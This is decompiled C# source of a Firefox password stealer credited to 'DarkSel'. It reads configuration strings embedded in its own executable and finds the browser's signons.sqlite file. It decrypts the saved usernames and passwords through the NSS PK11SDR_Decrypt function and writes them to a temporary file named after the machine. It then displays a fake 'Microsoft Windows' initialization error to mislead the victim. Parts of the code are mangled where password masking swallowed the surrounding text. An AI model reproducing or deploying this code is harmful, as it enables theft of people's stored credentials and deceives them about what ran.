public static int smethod_4(ref Class9.Struct7 struct7_0, ref Class9.Struct7 struct7_1, int int_0) { IntPtr procAddress = Class9.GetProcAddress(Class9.intptr_0, "PK11SDR_Decrypt"); Class9.Delegate4 @delegate = (Class9.Delegate4)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class9.Delegate4)); return(@delegate(ref struct7_0, ref struct7_1, int_0)); }
private static void Main() { try { FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1); string expression = Strings.Space((int)FileSystem.LOF(1)); string text = Strings.Space((int)FileSystem.LOF(1)); string text2 = Strings.Space((int)FileSystem.LOF(1)); FileSystem.FileGet(1, ref expression, -1L, false); FileSystem.FileGet(1, ref text, -1L, false); FileSystem.FileGet(1, ref text2, -1L, false); FileSystem.FileClose(new int[] { 1 }); string[] array = Strings.Split(expression, "@@NN@@", -1, CompareMethod.Binary); Class9.string_1 = array[1]; Class9.string_2 = array[2]; Class9.string_3 = array[3]; bool flag = false; Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\"; string path = Environment.GetEnvironmentVariable("APPDATA") + "\\Mozilla\\Firefox\\Profiles"; string[] directories = Directory.GetDirectories(path); foreach (string text3 in directories) { if (flag) { break; } string[] files = Directory.GetFiles(text3); foreach (string input in files) { if (flag) { break; } if (Regex.IsMatch(input, "signons.sqlite")) { Class9.smethod_0(text3); Class9.string_0 = input; } } } TextWriter textWriter = new StreamWriter(Environment.GetEnvironmentVariable("TEMP") + "\\FirePass-" + Environment.MachineName + ".txt"); string text4 = Class9.string_0; Class9.Struct7 @struct = default(Class9.Struct7); Class9.Struct7 struct2 = default(Class9.Struct7); Class8 @class = new Class8(text4); textWriter.WriteLine("Firefox 3.5 & 3.6 Decryptor in C#"); textWriter.WriteLine("Coded by DarkSel ([email protected])"); textWriter.WriteLine(); DataTable dataTable = @class.method_1("SELECT * FROM moz_logins;"); DataTable dataTable2 = @class.method_1("SELECT * FROM moz_disabledHosts;"); textWriter.WriteLine("---Excluded hosts---"); foreach (object obj in dataTable2.Rows) { DataRow dataRow = (DataRow)obj; textWriter.WriteLine(dataRow["hostname"].ToString()); } textWriter.WriteLine(); textWriter.WriteLine(); long long_ = Class9.smethod_1(); Class9.smethod_2(long_, true, 0L); textWriter.WriteLine("---Saved Users & Passwords---"); foreach (object obj2 in dataTable.Rows) { DataRow dataRow2 = (DataRow)obj2; string str = Convert.ToString(dataRow2["formSubmitURL"].ToString()); textWriter.WriteLine("URL: " + str); StringBuilder stringBuilder = new StringBuilder(dataRow2["encryptedUsername"].ToString()); int value = Class9.smethod_3(IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Length); Class9.Struct7 struct3 = (Class9.Struct7)Marshal.PtrToStructure(new IntPtr(value), typeof(Class9.Struct7)); if (Class9.smethod_4(ref struct3, ref @struct, 0) == 0 && @struct.int_2 != 0) { byte[] array4 = new byte[@struct.int_2]; Marshal.Copy(new IntPtr(@struct.int_1), array4, 0, @struct.int_2); textWriter.WriteLine("USER: "******"encryptedPassword"].ToString()); int value2 = Class9.smethod_3(IntPtr.Zero, IntPtr.Zero, stringBuilder2, stringBuilder2.Length); Class9.Struct7 struct4 = (Class9.Struct7)Marshal.PtrToStructure(new IntPtr(value2), typeof(Class9.Struct7)); if (Class9.smethod_4(ref struct4, ref struct2, 0) == 0 && struct2.int_2 != 0) { byte[] array4 = new byte[struct2.int_2]; Marshal.Copy(new IntPtr(struct2.int_1), array4, 0, struct2.int_2); textWriter.WriteLine("PASSWORD: "******"TEMP") + "\\FirePass-" + Environment.MachineName + ".txt"); MessageBox.Show("The application failed to initialize properly (0x0000022). Click OK to terminate.", "Microsoft Windows", MessageBoxButtons.OK, MessageBoxIcon.Hand); } catch { Application.Exit(); } }